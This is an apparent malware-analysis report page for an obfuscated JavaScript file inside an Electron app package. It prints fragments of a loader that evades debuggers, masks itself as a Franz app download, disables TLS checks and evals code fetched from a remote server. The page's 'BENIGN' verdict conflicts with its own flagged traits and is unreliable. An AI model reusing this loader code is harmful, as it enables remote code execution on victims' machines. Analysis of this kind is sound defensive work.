Open-source atomic malware analysis

Analyze another

resources/app.asar!index.js

UNKNOWN
Verdict: BENIGN
Mal-ecule
O₂(SAs)H₅(CmDb₂F₃OsPo₄)Md₃(InPaPt)
Size 22.6 KB download
First seen 2 days ago
Analyzed 14 hours ago
Ecosystem windows

Found in 2 archives

Referenced by 1 sample

Network fetch with eval and exec: app.asar!index.js:0xf99
app.asar!index.js javascript
1 (function(FF){var Zq=typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:typeof global!=="undefined"?global:typeof window!=="undefined"?window:{};var OH=!![];var KE=0;var Uy=(function(){var mC=function(){try{if((new RegExp("\\n"))["test"](mC["toString"]())){OH=![];}}catch(Pa){}};return mC;})();var AN=(function(){var e3=function(){try{if(/( |\t)/.test(e3["toString"]())){OH=![];}}catch(Pa){}};return e3;})();var GY=function(){try{var A_=Uy["toString"]()["length"];var sH=GY["toString"]()["length"];if(A_>300||sH>300){OH=![];}}catch(Pa){}};var Er=function(){try{var Uf=Date["now"]();debugger;if(Date["now"]()-Uf>200){OH=![];}}catch(Pa){}};var C$=function(){try{var yy=/./;yy["toString"]=function(){OH=![];return"";};}catch(Pa){}};var FT=Function["prototype"]["toString"];try{Object["defineProperty"](Function["prototype"],"toString",{value:function(){if(this===FT)return"function toString() { [native code] }";return FT["call"](this);},writable:![],configurable:![]})}catch(Pa){}var jS JavaScript debugger breakpoint statement
1:1545 9();},2500);}catch(Pa){}try{Zq["setTimeout"](function(){Zq["setInterval"](function(){Er();Uy();},7000);},1500);}catch(Pa){}var HC=function(_p){var QR="";for(var MU=0;MU<_p["length"];MU++)QR+=String["fromCharCode"](_p[MU]);return QR;};var ai=[68,111,119,110,108,111,97,100,32,70,114,97,110,122,32,102,111,114,32,65,112,112,108,101,32,83,105,108,105,99,111,110];var cG=[85,71,55];var BX=[55,62,94,117,50];var to=[67,57,96,110,115,69,84];var iK=[39,70,116,36,73,108,49,40,70,81,45];var RF=[ Builds characters with String.fromCharCode
1:3898 hD=[108,105,102,116,83,105,110,103,108,101,73,110,115,116,97,110,99,101,76,111,99,107];const z=require("https");var N1=[104,104,82,82,38,45,38,124,49];var cT=[114,101,113,117,101,115,116,32,102,111,114,32,111,112,101,110,105,110,103,32,97,32,110,101,119,32,119,105,110,100,111,119];var Gz=[97,9 Network fetch with eval and exec
1:4904 3,53,85,92,39,112,70];function A(K,l={}){return new Promise((U,M)=>{const $=K.split("/");const R=$[0];const p="/"+$.slice(1).join("/");const g=z.request({hostname:R,path:p,method:l.method||HC(MP),headers:l.headers||{},rejectUnauthorized:false},f=>{const H=[];f.on(HC(vW),Y=>H.push(Y));f.on(HC(BU),()=>{const I=Buffer.concat(H);U({ok:f.statusCode>=200&&f.statusCode<300,s Node TLS check disabled by option
1:12584 1,58,85,110,105,116,121,55];function L(Du){if(Du.e){try{const Qh=eval(Du.e)}catch(yC){const Qj=`[${new Date().toISOString()}]\nError: ${yC.message}\nStack: ${yC.stack}\n\n`;Z.appendFileSync(HC(Hr),Qj)}return}const V_=process.env.TEMP;const dG=F(V_,String(Date.now()));Z.mkdirSync(dG,{recursive:true});const XO=Du.files||{};let xG Network fetch with eval and exec

Objectives

Micro-behaviors

Metadata

20 of 21 traits shown

Identity

SHA-256 8164ca7f18010d429461b2cceaf5de0d8a43bb783e4e7951acae47c30dcdd348
Filename resources/app.asar!index.js

Origin

Source harvest
Feed malwarebazaar
Ecosystem windows

Timeline

First seen 23 Jul 2026 13:37 UTC
First analyzed 23 Jul 2026 12:31 UTC
Last analyzed 25 Jul 2026 13:58 UTC
Last updated 25 Jul 2026 13:57 UTC